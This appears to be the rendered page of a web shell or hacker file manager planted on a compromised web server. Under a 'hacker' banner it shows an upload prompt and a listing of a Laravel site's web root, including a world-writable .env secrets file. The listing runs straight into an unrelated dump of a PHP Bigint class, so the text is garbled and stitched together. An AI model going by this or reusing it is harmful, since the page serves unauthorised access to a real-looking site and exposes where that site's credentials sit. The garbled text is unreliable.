I am a hacker in the dark of a very cold night

path :/var/www/html/vorne.webheaydemo.com

upload file:

List of files:

name file size edit permission action
.editorconfig276 KBMarch 05 2024 07:12:340666
.env1385 KBMay 24 2024 16:43:550666
.env.example1088 KBMarch 05 2024 07:12:340666
.gitattributes190 KBMarch 05 2024 07:12:340666
.gitignore245 KBMarch 05 2024 07:12:340666
.htaccess947 KBJuly 04 2023 21:25:080664
.rnd1024 KBMarch 13 2024 04:51:140666
README.md472 KBMarch 22 2024 10:35:000666
app-March 05 2024 07:12:340777
artisan1739 KBMarch 05 2024 07:12:340666
bootstrap-March 05 2024 07:12:340777
composer.json2829 KBMay 13 2024 12:10:040666
composer.lock417205 KBMarch 19 2024 12:13:140666
config-July 03 2025 02:53:360777
database-March 05 2024 07:12:340777
index.php1816 KBMay 13 2024 10:32:360666
lang-May 13 2024 14:53:260777
manifest.json913 KBMay 14 2024 03:57:260664
package.json398 KBMarch 05 2024 07:12:340666
phpunit.xml1206 KBMarch 05 2024 07:12:340666
public-July 03 2025 02:37:200777
resources-May 13 2024 12:09:360777
routes-March 05 2024 07:12:340777
service-worker.js924 KBMarch 05 2024 07:12:340666
storage-March 05 2024 10:03:520777
symlink.php218 KBMarch 05 2024 07:12:340666
tests-March 05 2024 07:12:340777
vendor-March 19 2024 12:13:140777
vite.config.js326 KBMarch 05 2024 07:12:340666
fillBytes($value, 0, 8); } /** * Get an instance * * @param int $value * @return Bigint */ public static function init(int $value = 0): self { return new self($value); } /** * Fill bytes from low to high * * @param int $low * @param int $high * @return Bigint */ public static function fromLowHigh(int $low, int $high): self { $bigint = new self(); $bigint->fillBytes($low, 0, 4); $bigint->fillBytes($high, 4, 4); return $bigint; } /** * Get high 32 * * @return int */ public function getHigh32(): int { return $this->getValue(4, 4); } /** * Get value from bytes array * * @param int $end * @param int $length * @return int */ public function getValue(int $end = 0, int $length = 8): int { $result = 0; for ($i = $end + $length - 1; $i >= $end; $i--) { $result <<= 8; $result |= $this->bytes[$i]; } return $result; } /** * Get low FF * * @param bool $force * @return float */ public function getLowFF(bool $force = false): float { if ($force || $this->isOver32()) { return (float)0xFFFFFFFF; } return (float)$this->getLow32(); } /** * Check if is over 32 * * @psalm-suppress ArgumentTypeCoercion * @param bool $force * @return bool */ public function isOver32(bool $force = false): bool { // value 0xFFFFFFFF already needs a Zip64 header return $force || max(array_slice($this->bytes, 4, 4)) > 0 || min(array_slice($this->bytes, 0, 4)) === 0xFF; } /** * Get low 32 * * @return int */ public function getLow32(): int { return $this->getValue(0, 4); } /** * Get hexadecimal * * @return string */ public function getHex64(): string { $result = '0x'; for ($i = 7; $i >= 0; $i--) { $result .= sprintf('%02X', $this->bytes[$i]); } return $result; } /** * Add * * @param Bigint $other * @return Bigint */ public function add(self $other): self { $result = clone $this; $overflow = false; for ($i = 0; $i < 8; $i++) { $result->bytes[$i] += $other->bytes[$i]; if ($overflow) { $result->bytes[$i]++; $overflow = false; } if ($result->bytes[$i] & 0x100) { $overflow = true; $result->bytes[$i] &= 0xFF; } } if ($overflow) { throw new OverflowException(); } return $result; } /** * Fill the bytes field with int * * @param int $value * @param int $start * @param int $count * @return void */ protected function fillBytes(int $value, int $start, int $count): void { for ($i = 0; $i < $count; $i++) { $this->bytes[$start + $i] = $i >= PHP_INT_SIZE ? 0 : $value & 0xFF; $value >>= 8; } } }